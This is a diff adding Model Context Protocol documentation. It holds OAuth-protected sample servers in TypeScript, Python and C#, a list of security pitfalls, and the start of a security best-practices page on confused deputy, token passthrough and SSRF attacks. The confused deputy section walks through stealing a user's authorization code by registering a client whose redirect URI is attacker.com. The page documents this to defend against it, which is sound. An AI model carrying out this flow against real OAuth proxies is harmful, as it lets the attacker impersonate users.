+ content: [{ type: "text", text: `${a} + ${b} = ${a + b}` }],
+ }),
+ );
+
+ server.registerTool(
+ "multiply",
+ {
+ title: "Multiplication Tool",
+ description: "Multiply two numbers together",
+ inputSchema: {
+ x: z.number().describe("First number to multiply"),
+ y: z.number().describe("Second number to multiply"),
+ },
+ },
+ async ({ x, y }) => ({
+ content: [{ type: "text", text: `${x} × ${y} = ${x * y}` }],
+ }),
+ );
+
+ return server;
+ }
+
+ const mcpPostHandler = async (req: express.Request, res: express.Response) => {
+ const sessionId = req.headers["mcp-session-id"] as string | undefined;
+ let transport: StreamableHTTPServerTransport;
+
+ if (sessionId && transports[sessionId]) {
+ transport = transports[sessionId];
+ } else if (!sessionId && isInitializeRequest(req.body)) {
+ transport = new StreamableHTTPServerTransport({
+ sessionIdGenerator: () => randomUUID(),
+ onsessioninitialized: (sessionId) => {
+ transports[sessionId] = transport;
+ },
+ });
+
+ transport.onclose = () => {
+ if (transport.sessionId) {
+ delete transports[transport.sessionId];
+ }
+ };
+
+ const server = createMcpServer();
+ await server.connect(transport);
+ } else {
+ res.status(400).json({
+ jsonrpc: "2.0",
+ error: {
+ code: -32000,
+ message: "Bad Request: No valid session ID provided",
+ },
+ id: null,
+ });
+ return;
+ }
+
+ await transport.handleRequest(req, res, req.body);
+ };
+
+ const handleSessionRequest = async (
+ req: express.Request,
+ res: express.Response,
+ ) => {
+ const sessionId = req.headers["mcp-session-id"] as string | undefined;
+ if (!sessionId || !transports[sessionId]) {
+ res.status(400).send("Invalid or missing session ID");
+ return;
+ }
+
+ const transport = transports[sessionId];
+ await transport.handleRequest(req, res);
+ };
+
+ app.post("/", authMiddleware, mcpPostHandler);
+ app.get("/", authMiddleware, handleSessionRequest);
+ app.delete("/", authMiddleware, handleSessionRequest);
+
+ app.listen(CONFIG.port, CONFIG.host, () => {
+ console.log(`🚀 MCP Server running on ${mcpServerUrl.origin}`);
+ console.log(`📡 MCP endpoint available at ${mcpServerUrl.origin}`);
+ console.log(
+ `🔐 OAuth metadata available at ${getOAuthProtectedResourceMetadataUrl(mcpServerUrl)}`,
+ );
+ });
+ ```
+
+ When you run the server, you can add it to your MCP client, such as Visual Studio Code, by providing the MCP server endpoint.
+
+ For more details about implementing MCP servers in TypeScript, refer to the [TypeScript SDK documentation](https://github.com/modelcontextprotocol/typescript-sdk).
+
+
+
+ You can see the complete Python project in the [sample repository](https://github.com/modelcontextprotocol/python-sdk/tree/main/examples/servers/simple-auth).
+
+ To simplify our authorization interaction, in Python scenarios we rely on the `MCPServer` class from the [Python SDK](https://py.sdk.modelcontextprotocol.io/v2/run/authorization/). It publishes the Protected Resource Metadata document, answers unauthenticated requests with a `401` whose `WWW-Authenticate` header points back at that document, and hands every bearer token to a verifier that we supply. Many of the conventions around authorization, like the endpoints and token validation logic, are consistent across languages, but some offer simpler ways of integrating them in production scenarios.
+
+ Prior to writing the actual server, we need to set up our configuration in `config.py` - the contents are entirely based on your local server setup:
+
+ ```python theme={null}
+ """Configuration settings for the MCP auth server."""
+
+ import os
+
+
+ class Config:
+ """Configuration class that loads from environment variables with sensible defaults."""
+
+ # Server settings
+ HOST: str = os.getenv("HOST", "localhost")
+ PORT: int = int(os.getenv("PORT", "3000"))
+
+ # Auth server settings
+ AUTH_HOST: str = os.getenv("AUTH_HOST", "localhost")
+ AUTH_PORT: int = int(os.getenv("AUTH_PORT", "8080"))
+ AUTH_REALM: str = os.getenv("AUTH_REALM", "master")
+
+ # OAuth client settings
+ OAUTH_CLIENT_ID: str = os.getenv("OAUTH_CLIENT_ID", "test-client")
+ OAUTH_CLIENT_SECRET: str = os.getenv("OAUTH_CLIENT_SECRET", "")
+
+ # Scope required on every token
+ MCP_SCOPE: str = os.getenv("MCP_SCOPE", "mcp:tools")
+
+ @property
+ def server_url(self) -> str:
+ """Build the server URL."""
+ return f"http://{self.HOST}:{self.PORT}"
+
+ @property
+ def auth_base_url(self) -> str:
+ """Build the auth server base URL."""
+ return f"http://{self.AUTH_HOST}:{self.AUTH_PORT}/realms/{self.AUTH_REALM}/"
+
+
+ # Global configuration instance
+ config = Config()
+ ```
+
+ `OAUTH_CLIENT_ID` and `OAUTH_CLIENT_SECRET` are associated with the MCP server client we created earlier. Set them in your environment before starting the server.
+
+ The server implementation is as follows:
+
+ ```python theme={null}
+ import datetime
+ import logging
+ from typing import Any
+ from urllib.parse import urljoin
+
+ from pydantic import AnyHttpUrl
+
+ from mcp.server import MCPServer
+ from mcp.server.auth.settings import AuthSettings
+
+ from .config import config
+ from .token_verifier import IntrospectionTokenVerifier
+
+ logger = logging.getLogger(__name__)
+
+
+ def create_oauth_urls() -> dict[str, str]:
+ """Create OAuth URLs based on configuration (Keycloak-style)."""
+ auth_base_url = config.auth_base_url
+
+ return {
+ "issuer": auth_base_url,
+ "introspection_endpoint": urljoin(auth_base_url, "protocol/openid-connect/token/introspect"),
+ "authorization_endpoint": urljoin(auth_base_url, "protocol/openid-connect/auth"),
+ "token_endpoint": urljoin(auth_base_url, "protocol/openid-connect/token"),
+ }
+
+
+ def create_server() -> MCPServer:
+ """Create and configure the MCP server."""
+
+ oauth_urls = create_oauth_urls()
+
+ token_verifier = IntrospectionTokenVerifier(
+ introspection_endpoint=oauth_urls["introspection_endpoint"],
+ server_url=config.server_url,
+ client_id=config.OAUTH_CLIENT_ID,
+ client_secret=config.OAUTH_CLIENT_SECRET,
+ )
+
+ app = MCPServer(
+ name="MCP Resource Server",
+ instructions="Resource Server that validates tokens via Authorization Server introspection",
+ debug=True,
+ token_verifier=token_verifier,
+ auth=AuthSettings(
+ issuer_url=AnyHttpUrl(oauth_urls["issuer"]),
+ required_scopes=[config.MCP_SCOPE],
+ resource_server_url=AnyHttpUrl(config.server_url),
+ ),
+ )
+
+ @app.tool()
+ async def add_numbers(a: float, b: float) -> dict[str, Any]:
+ """
+ Add two numbers together.
+ This tool demonstrates basic arithmetic operations with OAuth authentication.
+
+ Args:
+ a: The first number to add
+ b: The second number to add
+ """
+ result = a + b
+ return {
+ "operation": "addition",
+ "operand_a": a,
+ "operand_b": b,
+ "result": result,
+ "timestamp": datetime.datetime.now().isoformat(),
+ }
+
+ @app.tool()
+ async def multiply_numbers(x: float, y: float) -> dict[str, Any]:
+ """
+ Multiply two numbers together.
+ This tool demonstrates basic arithmetic operations with OAuth authentication.
+
+ Args:
+ x: The first number to multiply
+ y: The second number to multiply
+ """
+ result = x * y
+ return {
+ "operation": "multiplication",
+ "operand_x": x,
+ "operand_y": y,
+ "result": result,
+ "timestamp": datetime.datetime.now().isoformat(),
+ }
+
+ return app
+
+
+ def main() -> int:
+ """
+ Run the MCP Resource Server.
+
+ This server:
+ - Provides RFC 9728 Protected Resource Metadata
+ - Validates tokens via Authorization Server introspection
+ - Serves MCP tools requiring authentication
+
+ Configuration is loaded from config.py and environment variables.
+ """
+ logging.basicConfig(level=logging.INFO)
+
+ oauth_urls = create_oauth_urls()
+
+ try:
+ mcp_server = create_server()
+
+ logger.info("Starting MCP Server on %s:%s", config.HOST, config.PORT)
+ logger.info("Authorization Server: %s", oauth_urls["issuer"])
+
+ mcp_server.run(
+ transport="streamable-http",
+ host=config.HOST,
+ port=config.PORT,
+ streamable_http_path="/",
+ )
+ return 0
+
+ except Exception:
+ logger.exception("Server error")
+ return 1
+
+
+ if __name__ == "__main__":
+ exit(main())
+ ```
+
+ Lastly, the token verification logic is delegated entirely to `token_verifier.py`, ensuring that we can use the Keycloak introspection endpoint to verify the validity of any credential artifacts.
+
+ ```python theme={null}
+ """Token verifier implementation using OAuth 2.0 Token Introspection (RFC 7662)."""
+
+ import logging
+ from typing import Any
+
+ import httpx2
+
+ from mcp.server.auth.provider import AccessToken, TokenVerifier
+ from mcp.shared.auth_utils import check_resource_allowed, resource_url_from_server_url
+
+ logger = logging.getLogger(__name__)
+
+
+ class IntrospectionTokenVerifier(TokenVerifier):
+ """Token verifier that uses OAuth 2.0 Token Introspection (RFC 7662)."""
+
+ def __init__(
+ self,
+ introspection_endpoint: str,
+ server_url: str,
+ client_id: str,
+ client_secret: str,
+ ):
+ self.introspection_endpoint = introspection_endpoint
+ self.server_url = server_url
+ self.client_id = client_id
+ self.client_secret = client_secret
+ self.resource_url = resource_url_from_server_url(server_url)
+
+ async def verify_token(self, token: str) -> AccessToken | None:
+ """Verify token via introspection endpoint."""
+ if not self.introspection_endpoint.startswith(("https://", "http://localhost", "http://127.0.0.1")):
+ return None
+
+ timeout = httpx2.Timeout(10.0, connect=5.0)
+ limits = httpx2.Limits(max_connections=10, max_keepalive_connections=5)
+
+ async with httpx2.AsyncClient(
+ timeout=timeout,
+ limits=limits,
+ verify=True,
+ ) as client:
+ try:
+ form_data = {
+ "token": token,
+ "client_id": self.client_id,
+ }
+ # Only send client_secret when one is configured
+ # Public clients authenticate with client_id alone.
+ if self.client_secret:
+ form_data["client_secret"] = self.client_secret
+ headers = {"Content-Type": "application/x-www-form-urlencoded"}
+
+ response = await client.post(
+ self.introspection_endpoint,
+ data=form_data,
+ headers=headers,
+ )
+
+ if response.status_code != 200:
+ return None
+
+ data = response.json()
+ if not data.get("active", False):
+ return None
+
+ if not self._validate_resource(data):
+ return None
+
+ return AccessToken(
+ token=token,
+ client_id=data.get("client_id", "unknown"),
+ scopes=data.get("scope", "").split() if data.get("scope") else [],
+ expires_at=data.get("exp"),
+ # AccessToken.resource is `str | None`. Keycloak returns `aud`
+ # as a *list* here (e.g. ["test-client", "http://localhost:3000",
+ # "account"]); passing that list straight in raises a pydantic
+ # ValidationError that the broad `except` below turns into a
+ # silent 401. We already confirmed this server's resource is a
+ # valid audience in `_validate_resource`, so record that.
+ resource=self.resource_url,
+ subject=data.get("sub"), # RFC 7662 subject (resource owner)
+ claims=data,
+ )
+
+ except Exception:
+ logger.exception("Token introspection failed")
+ return None
+
+ def _validate_resource(self, token_data: dict[str, Any]) -> bool:
+ """Validate token was issued for this resource server.
+
+ Rules:
+ - Reject if 'aud' missing.
+ - Accept if any audience entry matches the derived resource URL.
+ - Supports string or list forms per JWT spec.
+ """
+ if not self.server_url or not self.resource_url:
+ return False
+
+ aud: list[str] | str | None = token_data.get("aud")
+ if isinstance(aud, list):
+ return any(self._is_valid_resource(a) for a in aud)
+ if isinstance(aud, str):
+ return self._is_valid_resource(aud)
+ return False
+
+ def _is_valid_resource(self, resource: str) -> bool:
+ """Check if the given resource matches our server."""
+ return check_resource_allowed(requested_resource=self.resource_url, configured_resource=resource)
+ ```
+
+ For more details, see below or the [Python SDK documentation](https://github.com/modelcontextprotocol/python-sdk).
+
+ **Python MCP Server**
+
+ In the server's root have a `pyproject.toml` file and a `mcp_server` folder. Put all the Python files in the `mcp_server` folder, and fill the `pyproject.toml` file like:
+
+ ```toml theme={null}
+ [project]
+ name = "mcp-simple-auth"
+ version = "0.1.0"
+ description = "A simple MCP server demonstrating OAuth authentication"
+ requires-python = ">=3.10"
+ authors = [{ name = "Model Context Protocol a Series of LF Projects, LLC." }]
+ license = { text = "MIT" }
+ dependencies = [
+ "httpx2>=2.5.0",
+ "mcp>=2.0.0rc1",
+ "pydantic>=2.0",
+ ]
+
+ [project.scripts]
+ mcp-simple-auth-rs = "mcp_server.server:main"
+
+ [build-system]
+ requires = ["hatchling"]
+ build-backend = "hatchling.build"
+
+ [tool.hatch.build.targets.wheel]
+ packages = ["mcp_server"]
+
+ [dependency-groups]
+ dev = ["pyright>=1.1.391", "pytest>=8.3.4", "ruff>=0.8.5"]
+ ```
+
+ Then run the commands below to start the server.
+
+ ```bash theme={null}
+ uv sync
+ uv run mcp-simple-auth-rs
+ ```
+
+
+
+ You can see the complete C# project in the [sample repository](https://github.com/localden/min-cs-mcp-auth).
+
+ To set up authorization in your MCP server using the MCP C# SDK, you can lean on the standard ASP.NET Core builder pattern. Instead of using the introspection endpoint provided by Keycloak, we will use built-in ASP.NET Core capabilities for token validation.
+
+ ```csharp theme={null}
+ using Microsoft.AspNetCore.Authentication.JwtBearer;
+ using Microsoft.IdentityModel.Tokens;
+ using ModelContextProtocol.AspNetCore.Authentication;
+ using ProtectedMcpServer.Tools;
+ using System.Security.Claims;
+
+ var builder = WebApplication.CreateBuilder(args);
+
+ var serverUrl = "http://localhost:3000/";
+ var authorizationServerUrl = "http://localhost:8080/realms/master/";
+
+ builder.Services.AddAuthentication(options =>
+ {
+ options.DefaultChallengeScheme = McpAuthenticationDefaults.AuthenticationScheme;
+ options.DefaultAuthenticateScheme = JwtBearerDefaults.AuthenticationScheme;
+ })
+ .AddJwtBearer(options =>
+ {
+ options.Authority = authorizationServerUrl;
+ var normalizedServerAudience = serverUrl.TrimEnd('/');
+ options.TokenValidationParameters = new TokenValidationParameters
+ {
+ ValidIssuer = authorizationServerUrl,
+ ValidAudiences = new[] { normalizedServerAudience, serverUrl },
+ AudienceValidator = (audiences, securityToken, validationParameters) =>
+ {
+ if (audiences == null) return false;
+ foreach (var aud in audiences)
+ {
+ if (string.Equals(aud.TrimEnd('/'), normalizedServerAudience, StringComparison.OrdinalIgnoreCase))
+ {
+ return true;
+ }
+ }
+ return false;
+ }
+ };
+
+ options.RequireHttpsMetadata = false; // Set to true in production
+
+ options.Events = new JwtBearerEvents
+ {
+ OnTokenValidated = context =>
+ {
+ var name = context.Principal?.Identity?.Name ?? "unknown";
+ var email = context.Principal?.FindFirstValue("preferred_username") ?? "unknown";
+ Console.WriteLine($"Token validated for: {name} ({email})");
+ return Task.CompletedTask;
+ },
+ OnAuthenticationFailed = context =>
+ {
+ Console.WriteLine($"Authentication failed: {context.Exception.Message}");
+ return Task.CompletedTask;
+ },
+ };
+ })
+ .AddMcp(options =>
+ {
+ options.ResourceMetadata = new()
+ {
+ Resource = new Uri(serverUrl),
+ ResourceDocumentation = new Uri("https://docs.example.com/api/math"),
+ AuthorizationServers = { new Uri(authorizationServerUrl) },
+ ScopesSupported = ["mcp:tools"]
+ };
+ });
+
+ builder.Services.AddAuthorization();
+
+ builder.Services.AddHttpContextAccessor();
+ builder.Services.AddMcpServer()
+ .WithTools()
+ .WithHttpTransport();
+
+ var app = builder.Build();
+
+ app.UseAuthentication();
+ app.UseAuthorization();
+
+ app.MapMcp().RequireAuthorization();
+
+ Console.WriteLine($"Starting MCP server with authorization at {serverUrl}");
+ Console.WriteLine($"Using Keycloak server at {authorizationServerUrl}");
+ Console.WriteLine($"Protected Resource Metadata URL: {serverUrl}.well-known/oauth-protected-resource");
+ Console.WriteLine("Exposed Math tools: Add, Multiply");
+ Console.WriteLine("Press Ctrl+C to stop the server");
+
+ app.Run(serverUrl);
+ ```
+
+ For more details, see the [C# SDK documentation](https://github.com/modelcontextprotocol/csharp-sdk).
+
+
+
+## Testing the MCP Server
+
+For testing purposes, we will be using [Visual Studio Code](https://code.visualstudio.com), but any client that supports MCP and the new authorization specification will fit.
+
+Press Cmd + Shift + P and select **MCP: Add server...**. Select **HTTP** and enter `http://localhost:3000`. Give the server a unique name to be used inside Visual Studio Code. In `mcp.json` you should now see an entry like this:
+
+```json theme={null}
+"my-mcp-server-18676652": {
+ "url": "http://localhost:3000",
+ "type": "http"
+}
+```
+
+On connection, you will be taken to the browser, where you will be prompted to consent to Visual Studio Code having access to the `mcp:tools` scope.
+
+
+
+
+
+After consenting, you will see the tools listed right above the server entry in `mcp.json`.
+
+
+
+
+
+You will be able to invoke individual tools with the help of the `#` sign in the chat view.
+
+
+
+
+
+## Common Pitfalls and How to Avoid Them
+
+For comprehensive security guidance, including attack vectors, mitigation strategies, and implementation best practices, make sure to read through [Security Best Practices](/specification/draft/basic/security_best_practices). A few key issues are called out below.
+
+* **Do not implement token validation or authorization logic by yourself**. Use off-the-shelf, well-tested, and secure libraries for things like token validation or authorization decisions. Doing everything from scratch means that you're more likely to implement things incorrectly unless you are a security expert.
+* **Use short-lived access tokens**. Depending on the authorization server used, this setting might be customizable. We recommend to not use long-lived tokens - if a malicious actor steals them, they will be able to maintain their access for longer periods.
+* **Always validate tokens**. Just because your server received a token does not mean that the token is valid or that it's meant for your server. Always verify that what your MCP server is getting from the client matches the required constraints.
+* **Store tokens in secure, encrypted storage**. In certain scenarios, you might need to cache tokens server-side. If that is the case, ensure that the storage has the right access controls and cannot be easily exfiltrated by malicious parties with access to your server. You should also implement robust cache eviction policies to ensure that your MCP server is not re-using expired or otherwise invalid tokens.
+* **Enforce HTTPS in production**. Do not accept tokens or redirect callbacks over plain HTTP except for `localhost` during development.
+* **Least-privilege scopes**. Don't use catch‑all scopes. Split access per tool or capability where possible and verify required scopes per route/tool on the resource server.
+* **Don't log credentials**. Never log `Authorization` headers, tokens, codes, or secrets. Scrub query strings and headers. Redact sensitive fields in structured logs.
+* **Separate app vs. resource server credentials**. Don't reuse your MCP server's client secret for end‑user flows. Store all secrets in a proper secret manager, not in source control.
+* **Return proper challenges**. On 401, include `WWW-Authenticate` with `Bearer`, `realm`, and `resource_metadata` so clients can discover how to authenticate.
+* **DCR (Dynamic Client Registration) controls**. If enabled, be aware of constraints specific to your organization, such as trusted hosts, required vetting, and audited registrations. Unauthenticated DCR means that anyone can register any client with your authorization server.
+* **Multi‑tenant/realm mix-ups**. Pin to a single issuer/tenant unless explicitly multi‑tenant. Reject tokens from other realms even if signed by the same authorization server.
+* **Audience/resource indicator misuse**. Don't configure or accept generic audiences (like `api`) or unrelated resources. Require the audience/resource to match your configured server.
+* **Error detail leakage**. Return generic messages to clients, but log detailed reasons with correlation IDs internally to aid troubleshooting without exposing internals.
+* **Session identifier hardening**. Treat `Mcp-Session-Id` as untrusted input; never tie authorization to it. Regenerate on auth changes and validate lifecycle server‑side.
+
+## Related Standards and Documentation
+
+MCP authorization builds on these well-established standards:
+
+* **[OAuth 2.1](https://datatracker.ietf.org/doc/html/draft-ietf-oauth-v2-1-13)**: The core authorization framework
+* **[RFC 8414](https://datatracker.ietf.org/doc/html/rfc8414)**: Authorization Server Metadata discovery
+* **[RFC 7591](https://datatracker.ietf.org/doc/html/rfc7591)**: Dynamic Client Registration
+* **[RFC 9728](https://datatracker.ietf.org/doc/html/rfc9728)**: Protected Resource Metadata
+* **[RFC 8707](https://datatracker.ietf.org/doc/html/rfc8707)**: Resource Indicators
+
+For additional details, refer to:
+
+* [Authorization Specification](/specification/draft/basic/authorization)
+* [Security Best Practices](/specification/draft/basic/security_best_practices)
+* [Available MCP SDKs](/docs/draft/sdk)
+
+Understanding these standards will help you implement authorization correctly and troubleshoot issues when they arise.
diff --git a/content/mcp/docs/draft/tutorials/security/security_best_practices.md b/content/mcp/docs/draft/tutorials/security/security_best_practices.md
new file mode 100644
index 000000000..be01195fc
--- /dev/null
+++ b/content/mcp/docs/draft/tutorials/security/security_best_practices.md
@@ -0,0 +1,987 @@
+> ## Documentation Index
+> Fetch the complete documentation index at: https://modelcontextprotocol.io/llms.txt
+> Use this file to discover all available pages before exploring further.
+
+# Security Best Practices
+
+> Security considerations, attack vectors, and best practices for MCP implementations
+
+## Introduction
+
+### Purpose and Scope
+
+This document provides security considerations for the Model Context
+Protocol (MCP), complementing the
+[MCP Authorization](/specification/latest/basic/authorization)
+specification. This document identifies security risks, attack vectors,
+and best practices specific to MCP implementations.
+
+The primary audience for this document includes developers implementing
+MCP authorization flows, MCP server operators, and security
+professionals evaluating MCP-based systems. This document should be read
+alongside the MCP Authorization specification and
+[OAuth 2.0 security best practices](https://datatracker.ietf.org/doc/html/rfc9700).
+
+## Attacks and Mitigations
+
+This section gives a detailed description of attacks on MCP
+implementations, along with potential countermeasures.
+
+### Confused Deputy Problem
+
+Attackers can exploit MCP proxy servers that connect to third-party
+APIs, creating
+"[confused deputy](https://en.wikipedia.org/wiki/Confused_deputy_problem)"
+vulnerabilities. This attack allows malicious clients to obtain
+authorization codes without proper user consent by exploiting the
+combination of static client IDs, dynamic client registration, and
+consent cookies.
+
+#### Terminology
+
+**MCP Proxy Server**
+: An MCP server that connects MCP clients to third-party APIs, offering
+MCP features while delegating operations and acting as a single OAuth
+client to the third-party API server.
+
+**Third-Party Authorization Server**
+: Authorization server that protects the third-party API. It may lack
+dynamic client registration support, requiring the MCP proxy to use a
+static client ID for all requests.
+
+**Third-Party API**
+: The protected resource server that provides the actual API
+functionality. Access to this API requires tokens issued by the
+third-party authorization server.
+
+**Static Client ID**
+: A fixed OAuth 2.0 client identifier used by the MCP proxy server when
+communicating with the third-party authorization server. This Client ID
+refers to the MCP server acting as a client to the Third-Party API. It
+is the same value for all MCP server to Third-Party API interactions
+regardless of which MCP client initiated the request.
+
+#### Vulnerable Conditions
+
+This attack becomes possible when all of the following conditions are
+present:
+
+* MCP proxy server uses a **static client ID** with a third-party
+ authorization server
+* MCP proxy server allows MCP clients to **dynamically register** (each
+ getting their own client\_id)
+* The third-party authorization server sets a **consent cookie** after
+ the first authorization
+* MCP proxy server does not implement proper per-client consent before
+ forwarding to third-party authorization
+
+#### Architecture and Attack Flows
+
+##### Normal OAuth proxy usage (preserves user consent)
+
+```mermaid theme={null}
+sequenceDiagram
+ participant UA as User-Agent (Browser)
+ participant MC as MCP Client
+ participant M as MCP Proxy Server
+ participant TAS as Third-Party Authorization Server
+
+ Note over UA,M: Initial Auth flow completed
+
+ Note over UA,TAS: Step 1: Legitimate user consent for Third Party Server
+
+ M->>UA: Redirect to third party authorization server
+ UA->>TAS: Authorization request (client_id: mcp-proxy)
+ TAS->>UA: Authorization consent screen
+ Note over UA: Review consent screen
+ UA->>TAS: Approve
+ TAS->>UA: Set consent cookie for client ID: mcp-proxy
+ TAS->>UA: 3P Authorization code + redirect to mcp-proxy-server.com
+ UA->>M: 3P Authorization code
+ Note over M,TAS: Exchange 3P code for 3P token
+ Note over M: Generate MCP authorization code
+ M->>UA: Redirect to MCP Client with MCP authorization code
+
+ Note over M,UA: Exchange code for token, etc.
+```
+
+##### Malicious OAuth proxy usage (skips user consent)
+
+```mermaid theme={null}
+sequenceDiagram
+ participant UA as User-Agent (Browser)
+ participant M as MCP Proxy Server
+ participant TAS as Third-Party Authorization Server
+ participant A as Attacker
+
+
+ Note over UA,A: Step 2: Attack (leveraging existing cookie, skipping consent)
+ A->>M: Dynamically register malicious client, redirect_uri: attacker.com
+ A->>UA: Sends malicious link
+ UA->>TAS: Authorization request (client_id: mcp-proxy) + consent cookie
+ rect rgba(255, 17, 0, 0.67)
+ TAS->>TAS: Cookie present, consent skipped
+ end
+
+ TAS->>UA: 3P Authorization code + redirect to mcp-proxy-server.com
+ UA->>M: 3P Authorization code
+ Note over M,TAS: Exchange 3P code for 3P token
+ Note over M: Generate MCP authorization code
+ M->>UA: Redirect to attacker.com with MCP Authorization code
+ UA->>A: MCP Authorization code delivered to attacker.com
+ Note over M,A: Attacker exchanges MCP code for MCP token
+ A->>M: Attacker impersonates user to MCP server
+```
+
+#### Attack Description
+
+When an MCP proxy server uses a static client ID to authenticate with
+a third-party authorization server, the following attack becomes
+possible:
+
+1. A user authenticates normally through the MCP proxy server to access
+ the third-party API
+2. During this flow, the third-party authorization server sets a cookie
+ on the user agent indicating consent for the static client ID
+3. An attacker later sends the user a malicious link containing a
+ crafted authorization request which contains a malicious redirect URI
+ along with a new dynamically registered client ID
+4. When the user clicks the link, their browser still has the consent
+ cookie from the previous legitimate request
+5. The third-party authorization server detects the cookie and skips the
+ consent screen
+6. The MCP authorization code is redirected to the attacker's server
+ (specified in the malicious `redirect_uri` parameter during
+ [dynamic client registration](/specification/latest/basic/authorization#dynamic-client-registration))
+7. The attacker exchanges the stolen authorization code for access
+ tokens for the MCP server without the user's explicit approval
+8. The attacker now has access to the third-party API as the compromised
+ user
+
+#### Mitigation
+
+To prevent confused deputy attacks, MCP proxy servers **MUST** implement
+per-client consent and proper security controls as detailed below.
+
+##### Consent Flow Implementation
+
+The following diagram shows how to properly implement per-client consent
+that runs **before** the third-party authorization flow:
+
+```mermaid theme={null}
+sequenceDiagram
+ participant Client as MCP Client
+ participant Browser as User's Browser
+ participant MCP as MCP Server
+ participant ThirdParty as Third-Party AuthZ Server
+
+ Note over Client,ThirdParty: 1. Client Registration (Dynamic)
+ Client->>MCP: Register with redirect_uri
+ MCP-->>Client: client_id
+
+ Note over Client,ThirdParty: 2. Authorization Request
+ Client->>Browser: Open MCP server authorization URL
+ Browser->>MCP: GET /authorize?client_id=...&redirect_uri=...
+
+ alt Check MCP Server Consent
+ MCP->>MCP: Check consent for this client_id
+ Note over MCP: Not previously approved
+ end
+
+ MCP->>Browser: Show MCP server-owned consent page
+ Note over Browser: "Allow [Client Name] to access [Third-Party API]?"
+ Browser->>MCP: POST /consent (approve)
+ MCP->>MCP: Store consent decision for client_id
+
+ Note over Client,ThirdParty: 3. Forward to Third-Party
+ MCP->>Browser: Redirect to third-party /authorize
+ Note over MCP: Use static client_id for third-party
+
+ Browser->>ThirdParty: Authorization request (static client_id)
+ ThirdParty->>Browser: User authenticates & consents
+ ThirdParty->>Browser: Redirect with auth code
+
+ Browser->>MCP: Callback with third-party code
+ MCP->>ThirdParty: Exchange code for token (using static client_id)
+ MCP->>Browser: Redirect to client's registered redirect_uri
+```
+
+##### Required Protections
+
+**Per-Client Consent Storage**
+
+MCP proxy servers **MUST**:
+
+* Maintain a registry of approved `client_id` values per user
+* Check this registry **before** initiating the third-party
+ authorization flow
+* Store consent decisions securely (server-side database, or server
+ specific cookies)
+
+**Consent UI Requirements**
+
+The MCP-level consent page **MUST**:
+
+* Clearly identify the requesting MCP client by name
+* Display the specific third-party API scopes being requested
+* Show the registered `redirect_uri` where tokens will be sent
+* Implement CSRF protection (e.g., state parameter, CSRF tokens)
+* Prevent iframing via `frame-ancestors` CSP directive or
+ `X-Frame-Options: DENY` to prevent clickjacking
+
+**Consent Cookie Security**
+
+If using cookies to track consent decisions, they **MUST**:
+
+* Use `__Host-` prefix for cookie names
+* Set `Secure`, `HttpOnly`, and `SameSite=Lax` attributes
+* Be cryptographically signed or use server-side sessions
+* Bind to the specific `client_id` (not just "user has consented")
+
+**Redirect URI Validation**
+
+The MCP proxy server **MUST**:
+
+* Validate that the `redirect_uri` in authorization requests exactly
+ matches the registered URI
+* Reject requests if the `redirect_uri` has changed without
+ re-registration
+* Use exact string matching (not pattern matching or wildcards)
+
+**OAuth State Parameter Validation**
+
+The OAuth `state` parameter is critical to prevent authorization code
+interception and CSRF attacks. Proper state validation ensures that
+consent approval at the authorization endpoint is enforced at the
+callback endpoint.
+
+MCP proxy servers implementing OAuth flows **MUST**:
+
+* Generate a cryptographically secure random `state` value for each
+ authorization request
+* Store the `state` value server-side (in a secure session store or
+ encrypted cookie) **only after** consent has been explicitly approved
+* Set the `state` tracking cookie/session **immediately before**
+ redirecting to the third-party identity provider (not before consent
+ approval)
+* Validate at the callback endpoint that the `state` query parameter
+ exactly matches the stored value in the callback request's cookies or
+ in the request's cookie-based session
+* Reject any callback requests where the `state` parameter is missing
+ or does not match
+* Ensure `state` values are single-use (delete after validation) and
+ have a short expiration time (e.g., 10 minutes)
+
+The consent cookie or session containing the `state` value **MUST NOT**
+be set until **after** the user has approved the consent screen at the
+MCP server's authorization endpoint. Setting this cookie before consent
+approval renders the consent screen ineffective, as an attacker could
+bypass it by crafting a malicious authorization request.
+
+### Token Passthrough
+
+"Token passthrough" is an anti-pattern where an MCP server accepts
+tokens from an MCP client without validating that the tokens were
+properly issued *to the MCP server* and passes them through to the
+downstream API.
+
+An attacker can gain unauthorized access or otherwise compromise an
+MCP server if the server accepts tokens issued for other resources.
+This vulnerability has two critical dimensions:
+
+1. **Audience validation failures.** When an MCP server doesn't verify
+ that tokens were specifically intended for it (for example, via the
+ audience claim, as mentioned in
+ [RFC9068](https://www.rfc-editor.org/rfc/rfc9068.html)), it may
+ accept tokens originally issued for other services. This breaks a
+ fundamental OAuth security boundary, allowing attackers to reuse
+ legitimate tokens across different services than intended.
+2. **Token passthrough.** If the MCP server not only accepts tokens
+ with incorrect audiences but also forwards these unmodified tokens
+ to downstream services, it can potentially cause the
+ ["confused deputy" problem](#confused-deputy-problem), where the
+ downstream API may incorrectly trust the token as if it came from
+ the MCP server or assume the token was validated by the upstream
+ API.
+
+#### Risks
+
+Token passthrough is explicitly forbidden in the
+[authorization specification](/specification/latest/basic/authorization)
+as it introduces a number of security risks, that include:
+
+* **Security Control Circumvention**
+ * The MCP Server or downstream APIs might implement important security
+ controls like rate limiting, request validation, or traffic
+ monitoring, that depend on the token audience or other credential
+ constraints. If clients can obtain and use tokens directly with the
+ downstream APIs without the MCP server validating them properly or
+ ensuring that the tokens are issued for the right service, they
+ bypass these controls.
+* **Accountability and Audit Trail Issues**
+ * The MCP Server will be unable to identify or distinguish between MCP
+ Clients when clients are calling with an upstream-issued access token
+ which may be opaque to the MCP Server.
+ * The downstream Resource Server's logs may show requests that appear
+ to come from a different source with a different identity, rather
+ than the MCP server that is actually forwarding the tokens.
+ * Both factors make incident investigation, controls, and auditing
+ more difficult.
+ * If the MCP Server passes tokens without validating their claims
+ (e.g., roles, privileges, or audience) or other metadata, a
+ malicious actor in possession of a stolen token can use the server
+ as a proxy for data exfiltration.
+* **Trust Boundary Issues**
+ * The downstream Resource Server grants trust to specific entities.
+ This trust might include assumptions about origin or client behavior
+ patterns. Breaking this trust boundary could lead to unexpected
+ issues.
+ * If the token is accepted by multiple services without proper
+ validation, an attacker compromising one service can use the token
+ to access other connected services.
+* **Future Compatibility Risk**
+ * Even if an MCP Server starts as a "pure proxy" today, it might need
+ to add security controls later. Starting with proper token audience
+ separation makes it easier to evolve the security model.
+
+#### Mitigation
+
+MCP servers **MUST NOT** accept any tokens that were not explicitly
+issued for the MCP server.
+
+### Server-Side Request Forgery (SSRF)
+
+Server-Side Request Forgery (SSRF) is an attack where an attacker can
+induce an MCP client to make HTTP requests to unintended destinations,
+potentially accessing internal network resources, cloud metadata
+endpoints, or other protected services.
+
